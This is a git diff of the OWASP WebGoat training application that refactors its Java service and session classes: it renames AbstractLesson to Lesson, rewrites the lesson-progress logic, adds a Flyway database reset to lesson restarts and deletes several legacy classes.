* @return a {@link org.springframework.http.ResponseEntity} object.
|
||||
*/
|
||||
@RequestMapping(value = URL_DEBUG_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE, params = KEY_ENABLED)
|
||||
public @ResponseBody
|
||||
ResponseEntity<Map<String, Object>> setDebuggingStatus(@RequestParam("enabled") Boolean enabled) throws Exception {
|
||||
log.debug("Setting label debugging to {} ", labelDebugger.isEnabled());
|
||||
Map<String, Object> result = createResponse(enabled);
|
||||
labelDebugger.setEnabled(enabled);
|
||||
return new ResponseEntity<>(result, HttpStatus.OK);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param enabled {@link org.owasp.webgoat.session.LabelDebugger} object
|
||||
|
@ -26,6 +26,7 @@
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
|
||||
* for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
@ -67,21 +68,20 @@ public class LabelService {
|
||||
* We use Springs session locale resolver which also gives us the option to change the local later on. For
|
||||
* now it uses the accept-language from the HttpRequest. If this language is not found it will default back
|
||||
* to messages.properties.
|
||||
*
|
||||
* <p>
|
||||
* Note although it is possible to use Spring language interceptor we for now opt for this solution, the UI
|
||||
* will always need to fetch the labels with the new language set by the user. So we don't need to intercept each
|
||||
* and every request to see if the language param has been set in the request.
|
||||
*
|
||||
* @param lang the language to fetch labels for (optional)
|
||||
* @return a map of labels
|
||||
* @throws Exception
|
||||
*/
|
||||
@GetMapping(path = URL_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE)
|
||||
@ResponseBody
|
||||
public ResponseEntity<Properties> fetchLabels(@RequestParam(value = "lang", required = false) String lang, HttpServletRequest request) {
|
||||
public ResponseEntity<Properties> fetchLabels(@RequestParam(value = "lang", required = false) String lang) {
|
||||
if (!StringUtils.isEmpty(lang)) {
|
||||
Locale locale = Locale.forLanguageTag(lang);
|
||||
((SessionLocaleResolver)localeResolver).setDefaultLocale(locale);
|
||||
((SessionLocaleResolver) localeResolver).setDefaultLocale(locale);
|
||||
log.debug("Language provided: {} leads to Locale: {}", lang, locale);
|
||||
}
|
||||
Properties allProperties = new Properties();
|
||||
|
@ -1,7 +1,7 @@
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import org.owasp.webgoat.lessons.AbstractLesson;
|
||||
import org.owasp.webgoat.lessons.Lesson;
|
||||
import org.owasp.webgoat.lessons.LessonInfoModel;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
@ -29,7 +29,7 @@ public class LessonInfoService {
|
||||
@RequestMapping(path = "/service/lessoninfo.mvc", produces = "application/json")
|
||||
public @ResponseBody
|
||||
LessonInfoModel getLessonInfo() {
|
||||
AbstractLesson lesson = webSession.getCurrentLesson();
|
||||
Lesson lesson = webSession.getCurrentLesson();
|
||||
return new LessonInfoModel(lesson.getTitle(), false, false, false);
|
||||
}
|
||||
|
||||
|
@ -26,10 +26,12 @@
|
||||
* Source for this application is maintained at
|
||||
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import org.owasp.webgoat.lessons.AbstractLesson;
|
||||
import org.owasp.webgoat.lessons.Lesson;
|
||||
import org.owasp.webgoat.lessons.Assignment;
|
||||
import org.owasp.webgoat.lessons.Category;
|
||||
import org.owasp.webgoat.lessons.LessonMenuItem;
|
||||
import org.owasp.webgoat.lessons.LessonMenuItemType;
|
||||
@ -43,9 +45,9 @@ import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.Collections;
|
||||
import java.util.Comparator;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
/**
|
||||
@ -81,16 +83,16 @@ public class LessonMenuService {
|
||||
categoryItem.setName(category.getName());
|
||||
categoryItem.setType(LessonMenuItemType.CATEGORY);
|
||||
// check for any lessons for this category
|
||||
List<AbstractLesson> lessons = course.getLessons(category);
|
||||
List<Lesson> lessons = course.getLessons(category);
|
||||
lessons = lessons.stream().sorted(Comparator.comparing(l -> l.getTitle())).collect(Collectors.toList());
|
||||
for (AbstractLesson lesson : lessons) {
|
||||
for (Lesson lesson : lessons) {
|
||||
LessonMenuItem lessonItem = new LessonMenuItem();
|
||||
lessonItem.setName(lesson.getTitle());
|
||||
lessonItem.setLink(lesson.getLink());
|
||||
lessonItem.setRanking(lesson.getRanking());
|
||||
lessonItem.setType(LessonMenuItemType.LESSON);
|
||||
LessonTracker lessonTracker = userTracker.getLessonTracker(lesson);
|
||||
lessonItem.setComplete(lessonTracker.isLessonSolved());
|
||||
boolean lessonSolved = lessonCompleted(lessonTracker.getLessonOverview(), lesson);
|
||||
lessonItem.setComplete(lessonSolved);
|
||||
categoryItem.addChild(lessonItem);
|
||||
}
|
||||
categoryItem.getChildren().sort((o1, o2) -> o1.getRanking() - o2.getRanking());
|
||||
@ -99,4 +101,19 @@ public class LessonMenuService {
|
||||
return menu;
|
||||
|
||||
}
|
||||
|
||||
private boolean lessonCompleted(Map<Assignment, Boolean> map, Lesson currentLesson) {
|
||||
boolean result = true;
|
||||
for (Map.Entry<Assignment, Boolean> entry : map.entrySet()) {
|
||||
Assignment storedAssignment = entry.getKey();
|
||||
for (Assignment lessonAssignment: currentLesson.getAssignments()) {
|
||||
if (lessonAssignment.getName().equals(storedAssignment.getName())) {
|
||||
result = result && entry.getValue();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
@ -27,6 +27,7 @@
|
||||
* for free software projects.
|
||||
*
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
|
@ -1,10 +1,8 @@
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import com.google.common.collect.Maps;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Getter;
|
||||
import org.owasp.webgoat.lessons.AbstractLesson;
|
||||
import org.owasp.webgoat.lessons.Lesson;
|
||||
import org.owasp.webgoat.lessons.Assignment;
|
||||
import org.owasp.webgoat.lessons.LessonInfoModel;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
@ -16,6 +14,7 @@ import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
@ -40,14 +39,14 @@ public class LessonProgressService {
|
||||
@RequestMapping(value = "/service/lessonprogress.mvc", produces = "application/json")
|
||||
@ResponseBody
|
||||
public Map getLessonInfo() {
|
||||
Map json = Maps.newHashMap();
|
||||
Map json = new HashMap();
|
||||
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||
if (webSession.getCurrentLesson() != null) {
|
||||
LessonTracker lessonTracker = userTracker.getLessonTracker(webSession.getCurrentLesson());
|
||||
String successMessage = "";
|
||||
boolean lessonCompleted = false;
|
||||
if (lessonTracker != null) {
|
||||
lessonCompleted = lessonTracker.isLessonSolved();
|
||||
lessonCompleted = isLessonComplete(lessonTracker.getLessonOverview(), webSession.getCurrentLesson());
|
||||
successMessage = "LessonCompleted"; //@todo we still use this??
|
||||
}
|
||||
json.put("lessonCompleted", lessonCompleted);
|
||||
@ -66,23 +65,53 @@ public class LessonProgressService {
|
||||
@ResponseBody
|
||||
public List<LessonOverview> lessonOverview() {
|
||||
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||
AbstractLesson currentLesson = webSession.getCurrentLesson();
|
||||
List<LessonOverview> result = Lists.newArrayList();
|
||||
if ( currentLesson != null ) {
|
||||
Lesson currentLesson = webSession.getCurrentLesson();
|
||||
List<LessonOverview> result = new ArrayList<>();
|
||||
if (currentLesson != null) {
|
||||
LessonTracker lessonTracker = userTracker.getLessonTracker(currentLesson);
|
||||
result = toJson(lessonTracker.getLessonOverview());
|
||||
result = toJson(lessonTracker.getLessonOverview(), currentLesson);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
private List<LessonOverview> toJson(Map<Assignment, Boolean> map) {
|
||||
ArrayList<LessonOverview> result = Lists.newArrayList();
|
||||
private List<LessonOverview> toJson(Map<Assignment, Boolean> map, Lesson currentLesson) {
|
||||
List<LessonOverview> result = new ArrayList();
|
||||
for (Map.Entry<Assignment, Boolean> entry : map.entrySet()) {
|
||||
result.add(new LessonOverview(entry.getKey(), entry.getValue()));
|
||||
Assignment storedAssignment = entry.getKey();
|
||||
for (Assignment lessonAssignment : currentLesson.getAssignments()) {
|
||||
if (lessonAssignment.getName().equals(storedAssignment.getName())
|
||||
&& !lessonAssignment.getPath().equals(storedAssignment.getPath())) {
|
||||
//here a stored path in the assignments table will be corrected for the JSON output
|
||||
//with the value of the actual expected path
|
||||
storedAssignment.setPath(lessonAssignment.getPath());
|
||||
result.add(new LessonOverview(storedAssignment, entry.getValue()));
|
||||
break;
|
||||
|
||||
} else if (lessonAssignment.getName().equals(storedAssignment.getName())) {
|
||||
result.add(new LessonOverview(storedAssignment, entry.getValue()));
|
||||
break;
|
||||
}
|
||||
}
|
||||
//assignments not in the list will not be put in the lesson progress JSON output
|
||||
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
private boolean isLessonComplete(Map<Assignment, Boolean> map, Lesson currentLesson) {
|
||||
boolean result = true;
|
||||
for (Map.Entry<Assignment, Boolean> entry : map.entrySet()) {
|
||||
Assignment storedAssignment = entry.getKey();
|
||||
for (Assignment lessonAssignment : currentLesson.getAssignments()) {
|
||||
if (lessonAssignment.getName().equals(storedAssignment.getName())) {
|
||||
result = result && entry.getValue();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
@AllArgsConstructor
|
||||
@Getter
|
||||
|
@ -1,6 +1,6 @@
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import org.owasp.webgoat.lessons.AbstractLesson;
|
||||
import org.owasp.webgoat.lessons.Lesson;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
@ -31,7 +31,7 @@ public class LessonTitleService {
|
||||
public
|
||||
@ResponseBody
|
||||
String showPlan() {
|
||||
AbstractLesson lesson = webSession.getCurrentLesson();
|
||||
Lesson lesson = webSession.getCurrentLesson();
|
||||
return lesson != null ? lesson.getTitle() : "";
|
||||
}
|
||||
|
||||
|
@ -1,65 +0,0 @@
|
||||
/**
|
||||
* *************************************************************************************************
|
||||
*
|
||||
*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project
|
||||
* utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under
|
||||
* the terms of the GNU General Public License as published by the Free Software
|
||||
* Foundation; either version 2 of the License, or (at your option) any later
|
||||
* version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT
|
||||
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
* details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with
|
||||
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
|
||||
* Place - Suite 330, Boston, MA 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
|
||||
* for free software projects.
|
||||
*
|
||||
*/
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import org.owasp.webgoat.lessons.RequestParameter;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.util.Collections;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* <p>ParameterService class.</p>
|
||||
*
|
||||
* @author rlawson
|
||||
* @version $Id: $Id
|
||||
*/
|
||||
@Controller
|
||||
public class ParameterService {
|
||||
|
||||
/**
|
||||
* Returns request parameters for last attack
|
||||
*
|
||||
* @param session a {@link javax.servlet.http.HttpSession} object.
|
||||
* @return a {@link java.util.List} object.
|
||||
*/
|
||||
@RequestMapping(path = "/service/parameter.mvc", produces = "application/json")
|
||||
public @ResponseBody
|
||||
List<RequestParameter> showParameters(HttpSession session) {
|
||||
//// TODO: 11/6/2016 to decide not sure about the role in WebGoat 8
|
||||
List<RequestParameter> listParms = Lists.newArrayList();
|
||||
Collections.sort(listParms);
|
||||
return listParms;
|
||||
}
|
||||
}
|
@ -1,32 +1,32 @@
|
||||
/**
|
||||
* *************************************************************************************************
|
||||
*
|
||||
*
|
||||
* <p>
|
||||
* <p>
|
||||
* This file is part of WebGoat, an Open Web Application Security Project
|
||||
* utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* <p>
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
*
|
||||
* <p>
|
||||
* This program is free software; you can redistribute it and/or modify it under
|
||||
* the terms of the GNU General Public License as published by the Free Software
|
||||
* Foundation; either version 2 of the License, or (at your option) any later
|
||||
* version.
|
||||
*
|
||||
* <p>
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT
|
||||
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
* details.
|
||||
*
|
||||
* <p>
|
||||
* You should have received a copy of the GNU General Public License along with
|
||||
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
|
||||
* Place - Suite 330, Boston, MA 02111-1307, USA.
|
||||
*
|
||||
* <p>
|
||||
* Getting Source ==============
|
||||
*
|
||||
* <p>
|
||||
* Source for this application is maintained at
|
||||
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import org.springframework.http.HttpStatus;
|
||||
@ -46,6 +46,7 @@ import java.util.Map;
|
||||
* @author nbaars
|
||||
* @version $Id: $Id
|
||||
*/
|
||||
//TODO REMOVE?
|
||||
@Controller
|
||||
public class PluginReloadService {
|
||||
|
||||
@ -58,15 +59,6 @@ public class PluginReloadService {
|
||||
@RequestMapping(path = "/service/reloadplugins.mvc", produces = MediaType.APPLICATION_JSON_VALUE)
|
||||
public @ResponseBody
|
||||
ResponseEntity<Map<String, Object>> reloadPlugins(HttpSession session) {
|
||||
// WebSession webSession = (WebSession) session.getAttribute(WebSession.SESSION);
|
||||
//
|
||||
// logger.debug("Loading plugins into cache");
|
||||
// String pluginPath = session.getServletContext().getRealPath("plugin_lessons");
|
||||
// String targetPath = session.getServletContext().getRealPath("plugin_extracted");
|
||||
// //TODO fix me
|
||||
// //new PluginsLoader(Paths.get(pluginPath), Paths.get(targetPath)).copyJars();
|
||||
// //webSession.getCourse().createLessonsFromPlugins();
|
||||
|
||||
Map<String, Object> result = new HashMap<String, Object>();
|
||||
result.put("success", true);
|
||||
result.put("message", "Plugins reloaded");
|
||||
|
@ -26,14 +26,14 @@
|
||||
* Source for this application is maintained at
|
||||
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Getter;
|
||||
import lombok.Setter;
|
||||
import org.owasp.webgoat.i18n.PluginMessages;
|
||||
import org.owasp.webgoat.lessons.AbstractLesson;
|
||||
import org.owasp.webgoat.lessons.Lesson;
|
||||
import org.owasp.webgoat.session.Course;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.owasp.webgoat.users.LessonTracker;
|
||||
@ -43,6 +43,7 @@ import org.springframework.stereotype.Controller;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
@ -66,14 +67,14 @@ public class ReportCardService {
|
||||
@GetMapping(path = "/service/reportcard.mvc", produces = "application/json")
|
||||
@ResponseBody
|
||||
public ReportCard reportCard() {
|
||||
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||
List<AbstractLesson> lessons = course.getLessons();
|
||||
ReportCard reportCard = new ReportCard();
|
||||
reportCard.setTotalNumberOfLessons(course.getTotalOfLessons());
|
||||
reportCard.setTotalNumberOfAssignments(course.getTotalOfAssignments());
|
||||
|
||||
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||
reportCard.setNumberOfAssignmentsSolved(userTracker.numberOfAssignmentsSolved());
|
||||
reportCard.setNumberOfLessonsSolved(userTracker.numberOfLessonsSolved());
|
||||
for (AbstractLesson lesson : lessons) {
|
||||
for (Lesson lesson : course.getLessons()) {
|
||||
LessonTracker lessonTracker = userTracker.getLessonTracker(lesson);
|
||||
LessonStatistics lessonStatistics = new LessonStatistics();
|
||||
lessonStatistics.setName(pluginMessages.getMessage(lesson.getTitle()));
|
||||
@ -93,7 +94,7 @@ public class ReportCardService {
|
||||
private int solvedLessons;
|
||||
private int numberOfAssignmentsSolved;
|
||||
private int numberOfLessonsSolved;
|
||||
private List<LessonStatistics> lessonStatistics = Lists.newArrayList();
|
||||
private List<LessonStatistics> lessonStatistics = new ArrayList<>();
|
||||
}
|
||||
|
||||
@Setter
|
||||
|
@ -21,11 +21,13 @@
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.owasp.webgoat.lessons.AbstractLesson;
|
||||
import org.flywaydb.core.Flyway;
|
||||
import org.owasp.webgoat.lessons.Lesson;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.owasp.webgoat.users.UserTracker;
|
||||
import org.owasp.webgoat.users.UserTrackerRepository;
|
||||
@ -34,33 +36,26 @@ import org.springframework.stereotype.Controller;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseStatus;
|
||||
|
||||
/**
|
||||
* <p>RestartLessonService class.</p>
|
||||
*
|
||||
* @author rlawson
|
||||
* @version $Id: $Id
|
||||
*/
|
||||
@Controller
|
||||
@AllArgsConstructor
|
||||
@Slf4j
|
||||
public class RestartLessonService {
|
||||
|
||||
private final WebSession webSession;
|
||||
private UserTrackerRepository userTrackerRepository;
|
||||
private final UserTrackerRepository userTrackerRepository;
|
||||
private final Flyway flywayLessons;
|
||||
|
||||
/**
|
||||
* Returns current lesson
|
||||
*
|
||||
* @return a {@link java.lang.String} object.
|
||||
*/
|
||||
@RequestMapping(path = "/service/restartlesson.mvc", produces = "text/text")
|
||||
@ResponseStatus(value = HttpStatus.OK)
|
||||
public void restartLesson() {
|
||||
AbstractLesson al = webSession.getCurrentLesson();
|
||||
Lesson al = webSession.getCurrentLesson();
|
||||
log.debug("Restarting lesson: " + al);
|
||||
|
||||
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||
userTracker.reset(al);
|
||||
userTrackerRepository.save(userTracker);
|
||||
|
||||
flywayLessons.clean();
|
||||
flywayLessons.migrate();
|
||||
}
|
||||
}
|
||||
|
@ -3,6 +3,7 @@
|
||||
* To change this template file, choose Tools | Templates
|
||||
* and open the template in the editor.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.service;
|
||||
|
||||
import org.springframework.stereotype.Controller;
|
||||
|
@ -1,11 +1,9 @@
|
||||
package org.owasp.webgoat.session;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.owasp.webgoat.lessons.AbstractLesson;
|
||||
import org.owasp.webgoat.lessons.Lesson;
|
||||
import org.owasp.webgoat.lessons.Category;
|
||||
|
||||
import java.util.LinkedList;
|
||||
import java.util.List;
|
||||
|
||||
import static java.util.stream.Collectors.toList;
|
||||
@ -41,10 +39,13 @@ import static java.util.stream.Collectors.toList;
|
||||
* @since October 28, 2003
|
||||
*/
|
||||
@Slf4j
|
||||
@AllArgsConstructor
|
||||
public class Course {
|
||||
|
||||
private List<AbstractLesson> lessons = new LinkedList<>();
|
||||
private List<? extends Lesson> lessons;
|
||||
|
||||
public Course(List<? extends Lesson> lessons) {
|
||||
this.lessons = lessons;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the categories attribute of the Course object
|
||||
@ -60,7 +61,7 @@ public class Course {
|
||||
*
|
||||
* @return The firstLesson value
|
||||
*/
|
||||
public AbstractLesson getFirstLesson() {
|
||||
public Lesson getFirstLesson() {
|
||||
// Category 0 is the admin function. We want the first real category
|
||||
// to be returned. This is normally the General category and the Http Basics lesson
|
||||
return getLessons(getCategories().get(0)).get(0);
|
||||
@ -71,7 +72,7 @@ public class Course {
|
||||
*
|
||||
* @return a {@link java.util.List} object.
|
||||
*/
|
||||
public List<AbstractLesson> getLessons() {
|
||||
public List<? extends Lesson> getLessons() {
|
||||
return this.lessons;
|
||||
}
|
||||
|
||||
@ -81,11 +82,11 @@ public class Course {
|
||||
* @param category a {@link org.owasp.webgoat.lessons.Category} object.
|
||||
* @return a {@link java.util.List} object.
|
||||
*/
|
||||
public List<AbstractLesson> getLessons(Category category) {
|
||||
return this.lessons.stream().filter(l -> l.getCategory() == category).sorted().collect(toList());
|
||||
public List<Lesson> getLessons(Category category) {
|
||||
return this.lessons.stream().filter(l -> l.getCategory() == category).collect(toList());
|
||||
}
|
||||
|
||||
public void setLessons(List<AbstractLesson> lessons) {
|
||||
public void setLessons(List<Lesson> lessons) {
|
||||
this.lessons = lessons;
|
||||
}
|
||||
|
||||
@ -94,9 +95,6 @@ public class Course {
|
||||
}
|
||||
|
||||
public int getTotalOfAssignments() {
|
||||
final int[] total = {0};
|
||||
this.lessons.stream().forEach(l -> total[0] = total[0] + l.getAssignments().size());
|
||||
return total[0];
|
||||
return this.lessons.stream().reduce(0, (total, lesson) -> lesson.getAssignments().size() + total, Integer::sum);
|
||||
}
|
||||
|
||||
}
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -1,129 +0,0 @@
|
||||
|
||||
package org.owasp.webgoat.session;
|
||||
|
||||
import java.sql.Connection;
|
||||
import java.sql.DriverManager;
|
||||
import java.sql.SQLException;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
/**
|
||||
*************************************************************************************************
|
||||
*
|
||||
*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
*
|
||||
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
|
||||
* @version $Id: $Id
|
||||
*/
|
||||
//TODO: class we need to refactor to new structure, we can put the connection in the current session of the user
|
||||
// start using jdbc template
|
||||
public class DatabaseUtilities
|
||||
{
|
||||
|
||||
private static Map<String, Connection> connections = new HashMap<String, Connection>();
|
||||
private static Map<String, Boolean> dbBuilt = new HashMap<String, Boolean>();
|
||||
|
||||
/**
|
||||
* <p>getConnection.</p>
|
||||
*
|
||||
* @param s a {@link org.owasp.webgoat.session.WebSession} object.
|
||||
* @return a {@link java.sql.Connection} object.
|
||||
* @throws java.sql.SQLException if any.
|
||||
*/
|
||||
public static Connection getConnection(WebSession s) throws SQLException
|
||||
{
|
||||
return getConnection(s.getUserName(), s.getWebgoatContext());
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>getConnection.</p>
|
||||
*
|
||||
* @param user a {@link java.lang.String} object.
|
||||
* @param context a {@link org.owasp.webgoat.session.WebgoatContext} object.
|
||||
* @return a {@link java.sql.Connection} object.
|
||||
* @throws java.sql.SQLException if any.
|
||||
*/
|
||||
public static synchronized Connection getConnection(String user, WebgoatContext context) throws SQLException
|
||||
{
|
||||
Connection conn = connections.get(user);
|
||||
if (conn != null && !conn.isClosed()) return conn;
|
||||
conn = makeConnection(user, context);
|
||||
connections.put(user, conn);
|
||||
|
||||
if (dbBuilt.get(user) == null)
|
||||
{
|
||||
new CreateDB().makeDB(conn);
|
||||
dbBuilt.put(user, Boolean.TRUE);
|
||||
}
|
||||
|
||||
return conn;
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>returnConnection.</p>
|
||||
*
|
||||
* @param user a {@link java.lang.String} object.
|
||||
*/
|
||||
public static synchronized void returnConnection(String user)
|
||||
{
|
||||
try
|
||||
{
|
||||
Connection connection = connections.get(user);
|
||||
if (connection == null || connection.isClosed()) return;
|
||||
|
||||
if (connection.getMetaData().getDatabaseProductName().toLowerCase().contains("oracle")) connection.close();
|
||||
} catch (SQLException sqle)
|
||||
{
|
||||
sqle.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
private static Connection makeConnection(String user, WebgoatContext context) throws SQLException
|
||||
{
|
||||
try
|
||||
{
|
||||
Class.forName(context.getDatabaseDriver());
|
||||
|
||||
if (context.getDatabaseConnectionString().contains("hsqldb")) return getHsqldbConnection(user, context);
|
||||
|
||||
String userPrefix = context.getDatabaseUser();
|
||||
String password = context.getDatabasePassword();
|
||||
String url = context.getDatabaseConnectionString();
|
||||
return DriverManager.getConnection(url, userPrefix + "_" + user, password);
|
||||
} catch (ClassNotFoundException cnfe)
|
||||
{
|
||||
cnfe.printStackTrace();
|
||||
throw new SQLException("Couldn't load the database driver: " + cnfe.getLocalizedMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static Connection getHsqldbConnection(String user, WebgoatContext context) throws ClassNotFoundException,
|
||||
SQLException
|
||||
{
|
||||
String url = context.getDatabaseConnectionString().replace("{USER}", user);
|
||||
return DriverManager.getConnection(url, "sa", "");
|
||||
}
|
||||
|
||||
}
|
@ -1,53 +0,0 @@
|
||||
package org.owasp.webgoat.session;
|
||||
|
||||
/**
|
||||
* *************************************************************************************************
|
||||
*
|
||||
*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project
|
||||
* utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under
|
||||
* the terms of the GNU General Public License as published by the Free Software
|
||||
* Foundation; either version 2 of the License, or (at your option) any later
|
||||
* version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT
|
||||
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
* details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with
|
||||
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
|
||||
* Place - Suite 330, Boston, MA 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at
|
||||
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*
|
||||
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect
|
||||
* Security</a>
|
||||
* @since October 28, 2003
|
||||
* @version $Id: $Id
|
||||
*/
|
||||
public abstract class Screen {
|
||||
|
||||
/**
|
||||
* Constructor for the Screen object
|
||||
*/
|
||||
public Screen() {
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Fill in a descriptive title for this lesson
|
||||
*
|
||||
* @return The title value
|
||||
*/
|
||||
public abstract String getTitle();
|
||||
|
||||
|
||||
}
|
@ -1,10 +1,10 @@
|
||||
package org.owasp.webgoat.session;
|
||||
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.owasp.webgoat.lessons.AbstractLesson;
|
||||
import org.owasp.webgoat.lessons.Lesson;
|
||||
import org.owasp.webgoat.users.WebGoatUser;
|
||||
import org.springframework.security.core.context.SecurityContextHolder;
|
||||
|
||||
import java.io.Serializable;
|
||||
import java.sql.Connection;
|
||||
import java.sql.SQLException;
|
||||
|
||||
@ -37,58 +37,31 @@ import java.sql.SQLException;
|
||||
* @version $Id: $Id
|
||||
* @since October 28, 2003
|
||||
*/
|
||||
@Slf4j
|
||||
public class WebSession {
|
||||
